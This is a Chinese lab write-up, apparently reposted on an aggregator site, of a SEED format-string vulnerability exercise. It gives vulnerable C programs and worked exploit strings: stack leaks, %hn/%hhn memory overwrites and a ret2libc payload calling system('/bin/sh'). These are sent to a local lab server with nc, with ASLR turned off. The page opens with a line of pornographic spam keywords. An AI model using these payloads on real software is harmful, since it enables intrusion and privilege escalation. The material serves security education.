国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

[ 信息系統(tǒng)安全實(shí)驗(yàn)1 ] 軟件安全:格式化字符串漏洞實(shí)驗(yàn)

這篇具有很好參考價(jià)值的文章主要介紹了[ 信息系統(tǒng)安全實(shí)驗(yàn)1 ] 軟件安全:格式化字符串漏洞實(shí)驗(yàn)。希望對大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

1.軟件安全:格式化字符串漏洞實(shí)驗(yàn)

1.1 實(shí)驗(yàn)?zāi)康?/h3>
  • 在緩沖區(qū)溢出漏洞利用基礎(chǔ)上,理解如何進(jìn)行格式化字符串漏洞利用。
  • C語言中的printf()函數(shù)用于根據(jù)格式打印出字符串,使用由printf()函數(shù)的%字符標(biāo)記的占位符,在打印期間填充數(shù)據(jù)。格式化字符串的使用不僅限于printf()函數(shù);其他函數(shù),例如sprintf()、fprintf() 和scanf(),也使用格式字符串。 某些程序允許用戶以格式字符串提供全部或部分內(nèi)容
  • 本實(shí)驗(yàn)的目的是利用格式化字符串漏洞,實(shí)施以下攻擊
    1. 程序崩潰
    2. 讀取程序內(nèi)存
    3. 修改程序內(nèi)存
    4. 惡意代碼注入和執(zhí)行。

1.2 實(shí)驗(yàn)環(huán)境

Ubuntu 16.04 LTS 32 位(SEED 1604)的 VMware 虛擬機(jī)

1.3 實(shí)驗(yàn)內(nèi)容1 prog1

(1)改變程序的內(nèi)存數(shù)據(jù):將變量 var 的值,從 0x11223344 變成 0x66887799

(2) 改變程序的內(nèi)存數(shù)據(jù):將變量 var 的值,從 0x11223344 變成 0xdeadbeef

? a) 后半部分?jǐn)?shù)據(jù)小于前半部分?jǐn)?shù)據(jù);

? b) 為避免print大量字符,可以將數(shù)據(jù)分成4個(gè)部分分別寫入(使用 %hhn)

注意:以上任務(wù),需要關(guān)閉 ASLR

#include <stdio.h>
void fmtstr()
{
    char input[100];
    int var = 0x11223344;   
    
    /* print out information for experiment purpose */
    printf("Target address: %x\n", (unsigned) &var);
    printf("Data at target address: 0x%x\n", var);
    
    printf("Please enter a string: ");
    fgets(input, sizeof(input)-1, stdin);
    
    printf(input);
    
    printf("Data at target address: 0x%x\n",var);
}
void main() { fmtstr(); }

1.3.1 環(huán)境配置

關(guān)閉ASLR sudo sysctl -w kernel.randomize_va_space=0

開啟棧可執(zhí)行 gcc -z execstack -o prog1 prog1.c

1.3.2 程序崩潰

輸入:%s

解釋:訪問的字符串地址超出當(dāng)前堆棧段時(shí),非法訪問導(dǎo)致崩潰。
[ 信息系統(tǒng)安全實(shí)驗(yàn)1 ] 軟件安全:格式化字符串漏洞實(shí)驗(yàn)

1.3.3 讀取程序內(nèi)存

輸入:%08x | %08x | %08x | %08x | %08x | %08x

解釋:由于只有format串,所以從堆棧中選擇參數(shù)打印內(nèi)容,進(jìn)而泄露內(nèi)存信息。
[ 信息系統(tǒng)安全實(shí)驗(yàn)1 ] 軟件安全:格式化字符串漏洞實(shí)驗(yàn)

1.3.4 修改程序內(nèi)存1

改變程序的內(nèi)存數(shù)據(jù):將變量 var 的值,從 0x11223344 變成 0x66887799;

輸入:

$ echo -e "\xb7\xec\xff\xbf@@@@\xb5\xec\xff\xbf@@@@\xb6\xec\xff\xbf@@@@\xb4\xec\xff\xbf%.8x%.8x%.8x%.8x%.42x%hhn%.17x%hhn%.17x%hhn%.17x%hhn" > input
$ ./prog1 < input

解釋:4 * 4 + 4 * 3 + 4 * 8 = 28 + 32 = 60

66h - 60 = 42

77h - 66h= 17

88h - 77h= 17

99h - 88h= 17

%hhn是以字節(jié)修改的方法,所以我們在前方地址字符串上先按數(shù)字大小排好該填的地址

比如填寫的順序是66 77 88 99,其對應(yīng)的地址是\xb7 \xb5 \xb6 \xb4

之后依次計(jì)算字符長度即可。
[ 信息系統(tǒng)安全實(shí)驗(yàn)1 ] 軟件安全:格式化字符串漏洞實(shí)驗(yàn)

1.3.5 修改程序內(nèi)存2

改變程序的內(nèi)存數(shù)據(jù):將變量 var 的值,從 0x11223344 變成 0xdeadbeef;

輸入:

$ echo -e "\xb6\xec\xff\xbf@@@@\xb5\xec\xff\xbf@@@@\xb7\xec\xff\xbf@@@@\xb4\xec\xff\xbf%.8x%.8x%.8x%.8x%.113x%hhn%.17x%hhn%.32x%hhn%.17x%hhn" > input
$ ./prog1 < input

解釋:4 * 4 + 4 * 3 + 4 * 8 = 28 + 32 = 60

adh - 60 = 113

beh - adh = 17

deh - beh = 32

efh - deh = 17

同上理%hhn是以字節(jié)修改的方法,所以我們在前方地址字符串上先按數(shù)字大小拍好該填的地址即可

\xb6 \xb5 \xb7 \xb4

[ 信息系統(tǒng)安全實(shí)驗(yàn)1 ] 軟件安全:格式化字符串漏洞實(shí)驗(yàn)

1.4 實(shí)驗(yàn)內(nèi)容2 prog2

(1)開啟 Stack Guard 保護(hù),并開啟棧不可執(zhí)行保護(hù),通過 ret2lib 進(jìn)行利用,獲得shell (可以通過調(diào)用 system(“/bin/sh”))

(2)嘗試設(shè)置 setuid root,觀察是否可以獲得root shell

(3)提示:需要查找 ret2lic 中的 system 函數(shù)和“/bin/sh”地址:

#include <stdio.h>

void fmtstr(char* str)
{
    unsigned int *framep;
    unsigned int *ret;
    //copy ebp into framep
    asm("movl %%ebp, %0" : "=r" (framep));
    ret = framep + 1;
   
    /* print out information for experiment purpose */
    printf("The address of the input array: 0x%.8x\n", (unsigned)str);
    printf("The value of the frame pointer: 0x%.8x\n", (unsigned)framep);
    printf("The value of the return address(before): 0x%.8x\n", *ret);

    printf(str); 

    printf("\nThe value of the return address(after): 0x%.8x\n", *ret);
}

int main() 
{ 
    FILE *badfile;    
    char str[200];

    badfile = fopen("badfile", "rb");
    fread(str, sizeof(char), 200, badfile);
    fmtstr(str);
    return 1; 
}

1.4.1 環(huán)境配置

開啟stack Guard但棧不可執(zhí)行 $ gcc -fstack-protector -z noexecstack -o prog2 prog2.c

1.4.2 通過libc的基地址和內(nèi)部函數(shù)的相對偏移獲得ret2libc的函數(shù)地址

尋找system和bin/sh相對lib偏移

$ ldd prog2

[ 信息系統(tǒng)安全實(shí)驗(yàn)1 ] 軟件安全:格式化字符串漏洞實(shí)驗(yàn)

libc lib的path: /lib/i386-linux-gnu/libc.so.6

基址:0xb7d8e000

$ readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " system"

$ ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 --string /bin/sh

[ 信息系統(tǒng)安全實(shí)驗(yàn)1 ] 軟件安全:格式化字符串漏洞實(shí)驗(yàn)

system()函數(shù)偏移:0x0003ada0

字符串"/bin/sh"偏移:0x0015b82b

計(jì)算在prog2中system和bin/sh地址
$ gdb prog2
gdb-peda$ start
gdb-peda$ vmmap

[ 信息系統(tǒng)安全實(shí)驗(yàn)1 ] 軟件安全:格式化字符串漏洞實(shí)驗(yàn)

system()函數(shù)偏移:0x0003ada0 + 0xb7d6a000 = 0xb7da4da0

字符串"/bin/sh"偏移:0x0015b82b + 0xb7d6a000 = 0xb7ec582b

尋找ret和system參數(shù)位置
$ touch badfile
$ ./prog2

[ 信息系統(tǒng)安全實(shí)驗(yàn)1 ] 軟件安全:格式化字符串漏洞實(shí)驗(yàn)

幀指針內(nèi)value = ebp

故ret = ebp + 4h = 0xbfffec4c

而通過ret調(diào)用system()時(shí)是模擬已經(jīng)將參數(shù)壓棧后的結(jié)果,故參數(shù)位置是 ret + 4 + 4 = 0xbfffec54

構(gòu)造shellcode
$ echo "AAAA|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|" > badfile
$ ./prog2

[ 信息系統(tǒng)安全實(shí)驗(yàn)1 ] 軟件安全:格式化字符串漏洞實(shí)驗(yàn)

字符串首位在16個(gè)字后

$ echo -e "\x4c\xec\xff\xbf@@@@\x54\xec\xff\xbf@@@@\x4e\xec\xff\xbf@@@@\x56\xec\xff\xbf%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.19724x%hn%.2699x%hn%.24495x%hn%.18x%hn" > badfile
$ ./prog2

解釋:4 * 4 + 4 * 3 + 15 * 8 = 16 + 12 + 120 = 148

4da0h - 148 = 19724

582bh - 4da0h = 2699

b7dah - 582bh = 24495

b7ech - b7dah = 18

\x??\xec\xff\xbf

4da0 582b b7da b7ec
\x4c \x54 \x4e \x56

[ 信息系統(tǒng)安全實(shí)驗(yàn)1 ] 軟件安全:格式化字符串漏洞實(shí)驗(yàn)

1.4.3 設(shè)置setuid root

$ sudo chmod u+s prog2

[ 信息系統(tǒng)安全實(shí)驗(yàn)1 ] 軟件安全:格式化字符串漏洞實(shí)驗(yàn)

$ ./prog2

[ 信息系統(tǒng)安全實(shí)驗(yàn)1 ] 軟件安全:格式化字符串漏洞實(shí)驗(yàn)

無法成功不能獲得

1.5 實(shí)驗(yàn)內(nèi)容3 prog3

(1) 打印棧上數(shù)據(jù);

(2) 獲得 heap 上的 secret 變量的值;

(3) 修改 target 變量成 0xc0ffee00

(4) 上述步驟在首先在關(guān)閉ASLR的情況下進(jìn)行,進(jìn)一步,可嘗試開啟 ASLR,觀察程序內(nèi)存地址的變化

format.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
 * Suggested value: between 10 and 400  */
#ifndef BUF_SIZE
#define BUF_SIZE 10
#endif


#if __x86_64__
  unsigned long target = 0x1122334455667788;
#else
  unsigned int  target = 0x11223344;
#endif 

char *secret = "A secret message\n";

void dummy_function(char *str);

void myprintf(char *msg)
{
#if __x86_64__
    unsigned long int *framep;
    // Save the rbp value into framep
    asm("movq %%rbp, %0" : "=r" (framep));
    printf("Frame Pointer (inside myprintf):      0x%.16lx\n", (unsigned long) framep);
    printf("The target variable's value (before): 0x%.16lx\n", target);
#else
    unsigned int *framep;
    // Save the ebp value into framep
    asm("movl %%ebp, %0" : "=r"(framep));
    printf("Frame Pointer (inside myprintf):      0x%.8x\n", (unsigned int) framep);
    printf("The target variable's value (before): 0x%.8x\n",   target);
#endif

    // This line has a format-string vulnerability
    printf(msg);

#if __x86_64__
    printf("The target variable's value (after):  0x%.16lx\n", target);
#else
    printf("The target variable's value (after):  0x%.8x\n",   target);
#endif

}


int main(int argc, char **argv)
{
    char buf[1500];


#if __x86_64__
    printf("The input buffer's address:    0x%.16lx\n", (unsigned long) buf);
    printf("The secret message's address:  0x%.16lx\n", (unsigned long) secret);
    printf("The target variable's address: 0x%.16lx\n", (unsigned long) &target);
#else
    printf("The input buffer's address:    0x%.8x\n",   (unsigned int)  buf);
    printf("The secret message's address:  0x%.8x\n",   (unsigned int)  secret);
    printf("The target variable's address: 0x%.8x\n",   (unsigned int)  &target);
#endif

    printf("Waiting for user input ......\n"); 
    int length = fread(buf, sizeof(char), 1500, stdin);
    printf("Received %d bytes.\n", length);

    dummy_function(buf);
    printf("(^_^)(^_^)  Returned properly (^_^)(^_^)\n");

    return 1;
}

// This function is used to insert a stack frame between main and myprintf.
// The size of the frame can be adjusted at the compilation time. 
// The function itself does not do anything.
void dummy_function(char *str)
{
    char dummy_buffer[BUF_SIZE];
    memset(dummy_buffer, 0, BUF_SIZE);

    myprintf(str);
}

server.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <signal.h>
#include <sys/wait.h>

#define PROGRAM "format"
#define PORT    9090

int socket_bind(int port);
int server_accept(int listen_fd, struct sockaddr_in *client);
char **generate_random_env();

void main()
{
    int listen_fd;
    struct sockaddr_in  client;

    // Generate a random number
    srand (time(NULL));
    int random_n = rand()%2000; 
   
    // handle signal from child processes
    signal(SIGCHLD, SIG_IGN);

    listen_fd = socket_bind(PORT);
    while (1){
	int socket_fd = server_accept(listen_fd, &client);

        if (socket_fd < 0) {
	    perror("Accept failed");
            exit(EXIT_FAILURE);
        }

	int pid = fork();
        if (pid == 0) {
            // Redirect STDIN to this connection, so it can take input from user
            dup2(socket_fd, STDIN_FILENO);

	    /* Uncomment the following if we want to send the output back to user.
	     * This is useful for remote attacks. 
            int output_fd = socket(AF_INET, SOCK_STREAM, 0);
            client.sin_port = htons(9091);
	    if (!connect(output_fd, (struct sockaddr *)&client, sizeof(struct sockaddr_in))){
               // If the connection is made, redirect the STDOUT to this connection
               dup2(output_fd, STDOUT_FILENO);
	    }
	    */ 

	    // Invoke the program 
	    fprintf(stderr, "Starting %s\n", PROGRAM);
            //execl(PROGRAM, PROGRAM, (char *)NULL);
	    // Using the following to pass an empty environment variable array
            //execle(PROGRAM, PROGRAM, (char *)NULL, NULL);
	    
	    // Using the following to pass a randomly generated environment varraible array.
	    // This is useful to slight randomize the stack's starting point.
            execle(PROGRAM, PROGRAM, (char *)NULL, generate_random_env(random_n));
        }
        else {
            close(socket_fd);
	}
    } 

    close(listen_fd);
}


int socket_bind(int port)
{
    int listen_fd;
    int opt = 1;
    struct sockaddr_in server;

    if ((listen_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0)
    {
        perror("socket failed");
        exit(EXIT_FAILURE);
    }

    if (setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)))
    {
        perror("setsockopt failed");
        exit(EXIT_FAILURE);
    }

    memset((char *) &server, 0, sizeof(server));
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = htonl(INADDR_ANY);
    server.sin_port = htons(port);

    if (bind(listen_fd, (struct sockaddr *) &server, sizeof(server)) < 0)
    {
        perror("bind failed");
        exit(EXIT_FAILURE);
    }

    if (listen(listen_fd, 3) < 0)
    {
        perror("listen failed");
        exit(EXIT_FAILURE);
    }

    return listen_fd;
}

int server_accept(int listen_fd, struct sockaddr_in *client)
{
    int c = sizeof(struct sockaddr_in);

    int socket_fd = accept(listen_fd, (struct sockaddr *)client, (socklen_t *)&c);
    char *ipAddr = inet_ntoa(client->sin_addr);
    printf("Got a connection from %s\n", ipAddr);
    return socket_fd;
}

// Generate environment variables. The length of the environment affects 
// the stack location. This is used to add some randomness to the lab.
char **generate_random_env(int length)
{
    const char *name = "randomstring=";
    char **env;

    env = malloc(2*sizeof(char *));

    env[0] = (char *) malloc((length + strlen(name))*sizeof(char));
    strcpy(env[0], name);
    memset(env[0] + strlen(name), 'A', length -1);
    env[0][length + strlen(name) - 1] = 0;
    env[1] = 0;
    return env;
}

1.5.1 環(huán)境配置

關(guān)閉ASLRsudo sysctl -w kernel.randomize_va_space=0

查看Makefile(已修改)

FLAGS    = -z execstack 
TARGET   = server format

L = 10

all: $(TARGET)

server: server.c
	gcc -o server server.c

format: format.c
	gcc -DBUF_SIZE=$(L) $(FLAGS) -o $@ format.c

clean:
	rm -f badfile $(TARGET)

$ make

1.5.2 打印棧上數(shù)據(jù)

$ echo "AAAA|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x" > badfile
$ cat badfile | nc 127.0.0.1 9090

[ 信息系統(tǒng)安全實(shí)驗(yàn)1 ] 軟件安全:格式化字符串漏洞實(shí)驗(yàn)

[ 信息系統(tǒng)安全實(shí)驗(yàn)1 ] 軟件安全:格式化字符串漏洞實(shí)驗(yàn)

secret addr: 0x08048740

tartget addr: 0x0804a02c

1.5.3 獲得 heap 上的 secret 變量的值

$ echo -e "\x40\x87\x04\x08|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%s" > badfile
$ cat badfile | nc 127.0.0.1 9090

上題中41414141處在第40個(gè)字處開始,構(gòu)造相應(yīng)長度的badfile即可

[ 信息系統(tǒng)安全實(shí)驗(yàn)1 ] 軟件安全:格式化字符串漏洞實(shí)驗(yàn)

1.5.4 修改 target 變量成 0xc0ffee00

$ echo -e "\x2e\xa0\x04\x08@@@@\x2c\xa0\x04\x08%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.49091x%hn%.11521x%hn" > badfile
$ cat badfile | nc 127.0.0.1 9090

解釋:4 * 2 + 4 + 8 * 38 = 316

c0ffh - 316 = 49091

ee00h - c0ffh = 11521

前文中實(shí)現(xiàn)方式一致

[ 信息系統(tǒng)安全實(shí)驗(yàn)1 ] 軟件安全:格式化字符串漏洞實(shí)驗(yàn)

1.5.5 開啟ASLR的情況

sudo sysctl -w kernel.randomize_va_space=1

獲得同樣的結(jié)果

[ 信息系統(tǒng)安全實(shí)驗(yàn)1 ] 軟件安全:格式化字符串漏洞實(shí)驗(yàn)文章來源地址http://www.zghlxwxcb.cn/news/detail-464466.html

到了這里,關(guān)于[ 信息系統(tǒng)安全實(shí)驗(yàn)1 ] 軟件安全:格式化字符串漏洞實(shí)驗(yàn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • 淺談非棧上格式化字符串

    淺談非棧上格式化字符串

    這里先淺分析修改返回地址的兩種打法,分別是\\\"諸葛連弩\\\"和”四馬分肥“ 本文例題 以陜西省賽easy_printf為主 簡單看一看程序 需要先過一個(gè)判斷然后進(jìn)入vuln 進(jìn)入后 有一個(gè)13次的循環(huán) 可以讓我們操作 第一步 肯定要先leak出棧地址 程序基地址和libc基地址 第二步 修改ret地址

    2024年02月14日
    瀏覽(29)
  • Python字符串格式化 (%操作符)

    在許多編程語言中都包含有格式化字符串的功能,比如C和Fortran語言中的格式化輸入輸出。在Python中內(nèi)置有對字符串進(jìn)行格式化的操作符是\\\"%\\\"。 模板 格式化字符串時(shí),Python使用一個(gè)字符串作為模板。模板中有格式符,這些格式符為真實(shí)值預(yù)留位置,并說明真實(shí)數(shù)值應(yīng)該呈現(xiàn)的

    2024年02月14日
    瀏覽(26)
  • 格式化字符串你都懂了嗎

    格式化字符串你都懂了嗎

    今天跟大家聊聊字 符串的格式化 這部分內(nèi)容。乍一聽“ 格式化 ”這三個(gè)字,有的初學(xué)者可能會懵:難道這是要清空字符串的節(jié)奏? 其實(shí)不是的,恰恰相反,格式化字符串是為了讓字符串變的更美觀、更靈活。接下來就給大家詳細(xì)介紹格式化字符串的概念以及具體用法。 格

    2024年02月04日
    瀏覽(21)
  • Python 用戶輸入和字符串格式化指南

    Python 用戶輸入和字符串格式化指南

    Python 允許用戶輸入數(shù)據(jù)。這意味著我們可以向用戶詢問輸入。在 Python 3.6 中,使用 input() 方法來獲取用戶輸入。在 Python 2.7 中,使用 raw_input() 方法來獲取用戶輸入。以下示例要求用戶輸入用戶名,并在輸入用戶名后將其打印在屏幕上: Python 3.6: Python 2.7: 為了確保字符串按預(yù)

    2024年02月05日
    瀏覽(38)
  • 格式化字符串走過的坑 pwn109

    格式化字符串走過的坑 pwn109

    格式化字符串走過的坑 pwn109 今天做的一道題有一個(gè)坑我調(diào)試半天終于打通了,格式化字符串的坑,確實(shí)不少,東西也比較多容易忘記,怎么說呢,功夫在平時(shí),經(jīng)驗(yàn)少了 老規(guī)矩先看一下保護(hù) Full RELRO意味著got不能修改也就是不能通過格式化字符串漏洞來改got表,但是nx保護(hù)關(guān)

    2024年04月08日
    瀏覽(31)
  • Godot 4 源碼分析 - 增加格式化字符串功能

    Godot 4 源碼分析 - 增加格式化字符串功能

    Godot 4的主要字符串類型為String,已經(jīng)設(shè)計(jì)得比較完善了,但有一個(gè)問題,格式化這塊沒怎么考慮。 String中有一個(gè)format函數(shù),但這個(gè)函數(shù)只有兩個(gè)參數(shù),這咋用? 查找使用例子,都是這種效果 一看就懵。哪里有之前用的帶%s %d...之類的格式化用得舒服。 動(dòng)手實(shí)現(xiàn)一個(gè) 提供s

    2024年02月14日
    瀏覽(28)
  • Java工具類——json字符串格式化處理

    Java工具類——json字符串格式化處理

    在我們拿到一團(tuán)未經(jīng)格式化的json字符串時(shí),非常不方便查看,比如這樣 因此隨手寫了個(gè)工具類用來格式化json。注意,原json字符串必須語法無誤,并且不包含換行、空格、縮進(jìn)等,否則會保留下來。 ok廢話不多說上代碼 運(yùn)行后效果

    2024年01月17日
    瀏覽(29)
  • Python中格式化字符串輸出的4種方式

    Python格式化字符串的4中方式 一、%號 二、str.format(args) 三、f-Strings 四、標(biāo)準(zhǔn)庫模板 五、總結(jié)四種方式的應(yīng)用場景’ 一、%號占位符 這是一種引入最早的一種,也是比較容易理解的一種方式.使用方式為: 1、格式化字符串中變化的部分使用占位符 2、變量以元組形式提供 3、變

    2024年02月06日
    瀏覽(29)
  • Pandas中的字符串和時(shí)間轉(zhuǎn)換與格式化

    Pandas 提供了若干個(gè)函數(shù)來格式化時(shí)間。 其中,最常用的是 to_datetime() 函數(shù)。 可以使用 to_datetime() 函數(shù)將一個(gè)字符串解析為時(shí)間,并指定字符串的格式。例如: 輸出: 還可以使用 strftime() 函數(shù)將時(shí)間格式化為字符串。例如: 輸出: 如果想要格式化某一列中的時(shí)間,可以使用

    2024年02月04日
    瀏覽(25)
  • 【每日撓頭算法題(5)】重新格式化字符串|壓縮字符串

    【每日撓頭算法題(5)】重新格式化字符串|壓縮字符串

    點(diǎn)我直達(dá)~ 1.遍歷字符串,將數(shù)字字符和字母字符分別放在不同的字符串 2.如果|字母字符數(shù)量 - 數(shù)字字符數(shù)量| 1 ,則無法實(shí)現(xiàn)格式化,返回\\\"\\\" 3.如果不是2.中的情況,則偶數(shù)為字符必須放數(shù)量多的字符串對應(yīng)的字符(下標(biāo)從0開始)。 將數(shù)量多的字符串對應(yīng)的字符和數(shù)量少的字

    2024年02月08日
    瀏覽(21)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包